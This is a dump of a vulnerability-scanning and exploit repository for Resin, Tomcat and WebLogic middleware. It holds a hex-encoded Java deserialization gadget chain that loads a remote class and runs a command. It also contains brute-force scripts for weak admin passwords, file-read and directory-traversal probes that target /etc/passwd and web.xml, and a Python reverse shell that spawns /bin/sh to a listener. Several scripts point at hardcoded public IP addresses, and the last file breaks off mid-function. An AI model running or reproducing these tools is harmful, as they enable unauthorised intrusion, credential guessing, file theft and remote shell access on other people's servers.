\x00\x06\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x78\x70\x76\x72\x00\x17\x6A\x61\x76\x61\x2E\x6E\x65\x74\x2E\x55\x52\x4C\x43\x6C\x61\x73\x73\x4C\x6F\x61\x64\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x78\x70\x00\x00\x00\x02\x74\x00\x0B\x6E\x65\x77\x49\x6E\x73\x74\x61\x6E\x63\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x78\x70\x00\x00\x00\x01\x76\x72\x00\x0F\x5B\x4C\x6A\x61\x76\x61\x2E\x6E\x65\x74\x2E\x55\x52\x4C\x3B\x52\x51\xFD\x24\xC5\x1B\x68\xCD\x02\x00\x00\x78\x70\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x19\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x78\x70\x76\x71\x00\x7E\x00\x19\x73\x71\x00\x7E\x00\x11\x75\x71\x00\x7E\x00\x16\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x16\x00\x00\x00\x01\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x01\x73\x72\x00\x0C\x6A\x61\x76\x61\x2E\x6E\x65\x74\x2E\x55\x52\x4C\x96\x25\x37\x36\x1A\xFC\xE4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6F\x64\x65\x49\x00\x04\x70\x6F\x72\x74\x4C\x00\x09\x61\x75\x74\x68\x6F\x72\x69\x74\x79\x71\x00\x7E\x00\x13\x4C\x00\x04\x66\x69\x6C\x65\x71\x00\x7E\x00\x13\x4C\x00\x04\x68\x6F\x73\x74\x71\x00\x7E\x00\x13\x4C\x00\x08\x70\x72\x6F\x74\x6F\x63\x6F\x6C\x71\x00\x7E\x00\x13\x4C\x00\x03\x72\x65\x66\x71\x00\x7E\x00\x13\x78\x70\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x70\x74\x00\x0B\x75\x74\x69\x6C\x32\x33\x33\x2E\x6A\x61\x72\x74\x00\x00\x74\x00\x04\x66\x69\x6C\x65\x70\x78\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x19\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x76\x71\x00\x7E\x00\x16\x73\x71\x00\x7E\x00\x11\x75\x71\x00\x7E\x00\x16\x00\x00\x00\x01\x74\x00\x10\x6A\x63\x2E\x75\x74\x69\x6C\x2E\x43\x6F\x6D\x6D\x55\x74\x69\x6C\x74\x00\x09\x6C\x6F\x61\x64\x43\x6C\x61\x73\x73\x75\x71\x00\x7E\x00\x19\x00\x00\x00\x01\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x11\x75\x71\x00\x7E\x00\x16\x00\x00\x00\x02\x74\x00\x04\x6D\x61\x69\x6E\x75\x71\x00\x7E\x00\x19\x00\x00\x00\x01\x76\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x78\x70\x71\x00\x7E\x00\x1D\x75\x71\x00\x7E\x00\x19\x00\x00\x00\x02\x71\x00\x7E\x00\x20\x71\x00\x7E\x00\x21\x73\x71\x00\x7E\x00\x11\x75\x71\x00\x7E\x00\x16\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x16\x00\x00\x00\x01\x75\x71\x00\x7E\x00\x39\x00\x00\x00\x04\x74\x00\x04\x64\x61\x74\x61\x74\x00\x07\x2D\x61\x63\x74\x69\x6F\x6E\x74\x00\x06\x72\x75\x6E\x63\x6D\x64\x74\x00\x12\x65\x63\x68\x6F\x20\x76\x75\x6C\x74\x65\x73\x74\x31\x31\x31\x31\x31\x71\x71\x00\x7E\x00\x2B\x75\x71\x00\x7E\x00\x19\x00\x00\x00\x02\x71\x00\x7E\x00\x2E\x71\x00\x7E\x00\x2F\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x05\x76\x61\x6C\x75\x65\x74\x00\x0D\x64\x6F\x65\x73\x27\x74\x20\x6D\x61\x74\x74\x65\x72\x78\x78\x76\x72\x00\x1B\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x54\x61\x72\x67\x65\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70
--------------------------------------------------------------------------------
/middileware/resin/__init__.py:
--------------------------------------------------------------------------------
1 | KEYWORDS = ['resin', ]
2 | def rules(head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
3 | return False
--------------------------------------------------------------------------------
/middileware/resin/resin_crackpass.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import urllib2
3 |
4 |
5 | from t import T
6 |
7 |
8 |
9 |
10 | class P(T):
11 | def __init__(self):
12 | T.__init__(self)
13 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
14 | timeout=3
15 | target_url = 'http://'+ip+':'+port
16 | result = {}
17 | result['result']=False
18 | res=None
19 | error_i = 0
20 | flag_list=['Resin home: | ','The Resin version','Resin Summary']
21 | user_list=['admin']
22 | pass_list=['admin','123456','12345678','123456789','admin123','admin888','admin1','administrator','8888888','123123','admin','manager','root']
23 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
24 | for user in user_list:
25 | for password in pass_list:
26 | try:
27 | PostStr='j_username=%s&j_password=%s'%(user,password)
28 | res = opener.open(target_url+'/resin-admin/j_security_check?j_uri=index.php',PostStr)
29 | res_html = res.read()
30 | res_code = res.code
31 | except urllib2.HTTPError,e:
32 | return result
33 | except urllib2.URLError,e:
34 | error_i+=1
35 | if error_i >= 3:
36 | return result
37 | continue
38 | except:
39 |
40 | return result
41 | finally:
42 | if res is not None:
43 | res.close()
44 | del res
45 | for flag in flag_list:
46 | if flag in res_html or int(res_code) == 408:
47 | info = '%s/resin-admin Resin Weak password %s:%s'%(target_url,user,password)
48 | result['result']=True
49 | result['VerifyInfo'] = {}
50 | result['VerifyInfo']['type']='Resin Weak password'
51 | result['VerifyInfo']['URL'] =target_url
52 | result['VerifyInfo']['payload']=target_url+'/resin-admin'
53 | result['VerifyInfo']['result'] =info
54 | return result
55 | return result
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 | if __name__ == '__main__':
66 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/resin/resin_fileread.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import urllib2
3 |
4 |
5 | from t import T
6 |
7 |
8 |
9 |
10 | class P(T):
11 | def __init__(self):
12 | T.__init__(self)
13 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
14 | timeout=3
15 | target_url = 'http://'+ip+':'+port
16 | result = {}
17 | res=None
18 | result['result']=False
19 | vul_url = target_url + "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
20 | try:
21 | res=urllib2.urlopen(vul_url,timeout=timeout)
22 | res_html = res.read()
23 | except:
24 | return result
25 | finally:
26 | if res is not None:
27 | res.close()
28 | del res
29 | if "root:" in res_html:
30 | info = vul_url + " Resin File Read Vul"
31 | result['result']=True
32 | result['VerifyInfo'] = {}
33 | result['VerifyInfo']['type']='Resin File Read Vul'
34 | result['VerifyInfo']['URL'] =target_url
35 | result['VerifyInfo']['payload']=vul_url
36 | result['VerifyInfo']['result'] =info
37 | return result
38 | return result
39 |
40 |
41 |
42 |
43 |
44 |
45 | if __name__ == '__main__':
46 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/resin/resin_fileread2.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 |
3 | import urllib2
4 |
5 |
6 |
7 | from t import T
8 |
9 |
10 |
11 |
12 | class P(T):
13 | def __init__(self):
14 | T.__init__(self)
15 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
16 | timeout=3
17 | target_url = 'http://'+ip+':'+port
18 | result = {}
19 | res=None
20 | result['result']=False
21 | vul_url = target_url + "/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml"
22 | try:
23 | res=urllib2.urlopen(vul_url,timeout=timeout)
24 | res_html = res.read()
25 | except:
26 | return result
27 | finally:
28 | if res is not None:
29 | res.close()
30 | del res
31 | if "xml version" in res_html:
32 | info = vul_url + " Resin File Read Vul"
33 | result['result']=True
34 | result['VerifyInfo'] = {}
35 | result['VerifyInfo']['type']='Resin File Read Vul'
36 | result['VerifyInfo']['URL'] =target_url
37 | result['VerifyInfo']['payload']=vul_url
38 | result['VerifyInfo']['result'] =info
39 | return result
40 | return result
41 |
42 |
43 |
44 |
45 |
46 |
47 | if __name__ == '__main__':
48 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/resin/resin_fileread3.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 |
3 |
4 | import urllib2
5 |
6 |
7 |
8 | from t import T
9 |
10 |
11 |
12 |
13 | class P(T):
14 | def __init__(self):
15 | T.__init__(self)
16 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
17 | timeout=3
18 | target_url = 'http://'+ip+':'+port
19 | result = {}
20 | res=None
21 | result['result']=False
22 | vul_url = target_url + '/%20..\\web-inf'
23 | try:
24 |
25 | res=urllib2.urlopen(vul_url,timeout=timeout)
26 | res_html = res.read()
27 | except:
28 | return result
29 | finally:
30 | if res is not None:
31 | res.close()
32 | del res
33 | if "Directory of" in res_html:
34 | info = vul_url + " Resin File Read And Directory Browsing Vul CVE:2007-2440"
35 | result['result']=True
36 | result['VerifyInfo'] = {}
37 | result['VerifyInfo']['type']='Resin File Read Vul'
38 | result['VerifyInfo']['URL'] =target_url
39 | result['VerifyInfo']['payload']=vul_url
40 | result['VerifyInfo']['result'] =info
41 | return result
42 | return result
43 |
44 |
45 |
46 |
47 |
48 |
49 | if __name__ == '__main__':
50 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/resin/resin_fileread4.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 |
3 |
4 | import urllib2
5 |
6 |
7 |
8 | from t import T
9 |
10 |
11 |
12 |
13 | class P(T):
14 | def __init__(self):
15 | T.__init__(self)
16 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
17 | timeout=3
18 | target_url = 'http://'+ip+':'+port
19 | result = {}
20 | result['result']=False
21 | vul_url = target_url + '/%3f.jsp'
22 | res=None
23 | try:
24 | res=urllib2.urlopen(vul_url,timeout=timeout)
25 | res_html = res.read()
26 | except:
27 | return result
28 | finally:
29 | if res is not None:
30 | res.close()
31 | del res
32 | if "Directory of" in res_html:
33 | info = vul_url + " Resin File Read And Directory Browsing "
34 | result['result']=True
35 | result['VerifyInfo'] = {}
36 | result['VerifyInfo']['type']='Resin File Read And Directory Browsing '
37 | result['VerifyInfo']['URL'] =target_url
38 | result['VerifyInfo']['payload']=vul_url
39 | result['VerifyInfo']['result'] =info
40 | return result
41 | return result
42 |
43 |
44 |
45 |
46 |
47 |
48 | if __name__ == '__main__':
49 | print P().verify(ip='1.202.164.105',port='8080')
--------------------------------------------------------------------------------
/middileware/resin/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
15 | ##
16 | #head 返回的请求头
17 | #context 返回请求正文html代码
18 | #ip 请求ip
19 | #port 请求端口
20 | #productname 请求的组件产品
21 | #keywords 暂时已知的关键词组件
22 | #hackinfo 备用字段
23 |
24 |
25 |
26 |
27 | return True
28 |
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 |
15 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
16 | ##
17 | #head 返回的请求头
18 | #context 返回请求正文html代码
19 | #ip 请求ip
20 | #port 请求端口
21 | #productname 请求的组件产品
22 | #keywords 暂时已知的关键词组件
23 | #hackinfo 备用字段
24 |
25 |
26 |
27 |
28 | return True
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/tomcat/__init__.py:
--------------------------------------------------------------------------------
1 | KEYWORDS = ['tomcat', ]
2 | def rules(head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
3 | if 'Apache Tomcat' in context :
4 |
5 |
6 | return True
7 |
8 | else:
9 |
10 | return False
--------------------------------------------------------------------------------
/middileware/tomcat/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
15 | ##
16 | #head 返回的请求头
17 | #context 返回请求正文html代码
18 | #ip 请求ip
19 | #port 请求端口
20 | #productname 请求的组件产品
21 | #keywords 暂时已知的关键词组件
22 | #hackinfo 备用字段
23 |
24 |
25 |
26 |
27 | return True
28 |
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/tomcat/tomcat_crackpass.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | #author:wolf@future-sec
3 | import urllib2
4 | import base64,re
5 | from t import T
6 |
7 | class P(T):
8 | def __init__(self):
9 | T.__init__(self)
10 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
11 | timeout=10
12 | target_url = 'http://'+ip+':'+port
13 | result = {}
14 | result['result']=False
15 | res=None
16 | res_code=0
17 | res_html=''
18 | error_i=0
19 | flag_list=['Application Manager','Welcome']
20 | # user_list=['admin']
21 | # pass_list=['admin','']
22 | user_list=['admin','manager','tomcat','apache','root']
23 | pass_list=['admin','','123456','12345678','123456789','admin123','123123','admin888','password','admin1','administrator','8888888','123123','manager','tomcat','apache','root']
24 |
25 |
26 |
27 | for user in user_list:
28 | for password in pass_list:
29 | try:
30 |
31 | login_url = target_url+'/manager/html'
32 | request = urllib2.Request(login_url)
33 | auth_str_temp=user+':'+password
34 | auth_str=base64.b64encode(auth_str_temp)
35 | request.add_header('Authorization', 'Basic '+auth_str)
36 | res = urllib2.urlopen(request,timeout=timeout)
37 | res_code = res.code
38 | res_html = res.read()
39 | except urllib2.HTTPError,e:
40 | print 1
41 | res_code = e.code
42 | res_html = e.read()
43 | except urllib2.URLError,e:
44 |
45 |
46 | continue
47 | except:
48 |
49 | break
50 | finally:
51 | error_i+=1
52 |
53 | if res is not None:
54 | res.close()
55 | del res
56 | if error_i >= 3:
57 | return result
58 |
59 | if int(res_code) == 404:
60 | return result
61 | if int(res_code) == 401 or int(res_code) == 403:
62 | continue
63 | info=''
64 | for flag in flag_list:
65 | if flag in res_html:
66 |
67 | info = '%s Tomcat Weak password %s:%s'%(login_url,user,password)
68 |
69 |
70 |
71 | result['result']=True
72 | result['VerifyInfo'] = {}
73 | result['VerifyInfo']['type']='Tomcat Weak password'
74 | result['VerifyInfo']['URL'] =target_url
75 | result['VerifyInfo']['payload']=login_url
76 | result['VerifyInfo']['result'] =info
77 | return result
78 | return result
79 | return result
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 | if __name__ == '__main__':
89 | print P().verify(ip='113.105.74.144',port='80')
--------------------------------------------------------------------------------
/middileware/weblogic/__init__.py:
--------------------------------------------------------------------------------
1 | KEYWORDS = ['weblogic', ]
2 | def rules(head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
3 | if 'Hypertext Transfer Protocol' in context or 'console/css/login.css|Login_GC_LoginPage_Bg.gif' in context or 'weblogic' in hackinfo or 'weblogic' in keywords or 'weblogic' in productname.get('productname',''):
4 |
5 |
6 | return True
7 |
8 | else:
9 |
10 | return False
--------------------------------------------------------------------------------
/middileware/weblogic/collections_3.2.0.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/collections_3.2.0.jar
--------------------------------------------------------------------------------
/middileware/weblogic/javax.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/javax.jar
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/inst.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/inst.jar
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/nc.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/nc.exe
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Linux_delete.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Linux_delete.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Linux_inst.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Linux_inst.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Linux_reverse.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Linux_reverse.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Linux_uninst.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Linux_uninst.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Linux_upload_inst.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Linux_upload_inst.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Linux_upload_reverse.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Linux_upload_reverse.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Linux_upload_uninst.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Linux_upload_uninst.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Windows_delete.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Windows_delete.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Windows_inst.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Windows_inst.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Windows_reverse.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Windows_reverse.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Windows_uninst.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Windows_uninst.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Windows_upload_inst.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Windows_upload_inst.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Windows_upload_reverse.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Windows_upload_reverse.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/payload_Windows_upload_uninst.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/payload_Windows_upload_uninst.bin
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/reverse.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/reverse.jar
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/reverse_shell.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket,subprocess,os;
3 |
4 | LHOST = '192.168.56.1'
5 | LPORT = 8080
6 |
7 | def main():
8 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
9 | s.connect((LHOST,LPORT));
10 | os.dup2(s.fileno(),0);
11 | os.dup2(s.fileno(),1);
12 | os.dup2(s.fileno(),2);
13 | p=subprocess.call(["/bin/sh","-i"]);
14 |
15 | if __name__ == '__main__':
16 | main()
17 |
--------------------------------------------------------------------------------
/middileware/weblogic/payload_bin/uninst.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/payload_bin/uninst.jar
--------------------------------------------------------------------------------
/middileware/weblogic/shellApp.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/shellApp.jar
--------------------------------------------------------------------------------
/middileware/weblogic/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
15 | ##
16 | #head 返回的请求头
17 | #context 返回请求正文html代码
18 | #ip 请求ip
19 | #port 请求端口
20 | #productname 请求的组件产品
21 | #keywords 暂时已知的关键词组件
22 | #hackinfo 备用字段
23 |
24 |
25 |
26 |
27 | return True
28 |
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/weblogic/weblogic.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nanshihui/PocCollect/e13e137901bc91ae44465a1c9d88a9961dbab6bf/middileware/weblogic/weblogic.jar
--------------------------------------------------------------------------------
/middileware/weblogic/weblogic_crackpass.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 |
3 | import urllib2
4 |
5 |
6 | from t import T
7 |
8 |
9 |
10 |
11 | class P(T):
12 | def __init__(self):
13 | T.__init__(self)
14 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
15 | timeout=5
16 | target_url = 'http://'+ip+':'+port
17 | result = {}
18 | result['result']=False
19 |
20 | res=None
21 | error_i=0
22 | flag_list=['WebLogic Server Console','javascript/console-help.js','WebLogic Server Administration Console Home','/console/console.portal','console/jsp/common/warnuserlockheld.jsp','/console/actions/common/']
23 | user_list=['weblogic']
24 | pass_list=['weblogic','password','Weblogic1','weblogic10','weblogic10g','weblogic11','weblogic11g','weblogic12','weblogic12g','weblogic13','weblogic13g','weblogic123','123456','12345678','123456789','admin123','admin888','admin1','administrator','8888888','123123','admin','manager','root']
25 | try:
26 | res = urllib2.urlopen(target_url+"/console/login/LoginForm.jsp")
27 | cookies = res.headers['Set-Cookie']
28 | except Exception,e:
29 | return result
30 | finally:
31 | if res is not None:
32 | res.close()
33 | del res
34 | for user in user_list:
35 | for password in pass_list:
36 | try:
37 | PostStr='j_username=%s&j_password=%s&j_character_encoding=UTF-8'%(user,password)
38 | request = urllib2.Request(target_url+'/console/j_security_check',PostStr)
39 | request.add_header("Cookie",cookies)
40 | res = urllib2.urlopen(request,timeout=timeout)
41 | res_html = res.read()
42 | except urllib2.HTTPError,e:
43 | return result
44 | except urllib2.URLError,e:
45 | error_i+=1
46 | if error_i >= 3:
47 | return result
48 | continue
49 | finally:
50 | if res is not None:
51 | res.close()
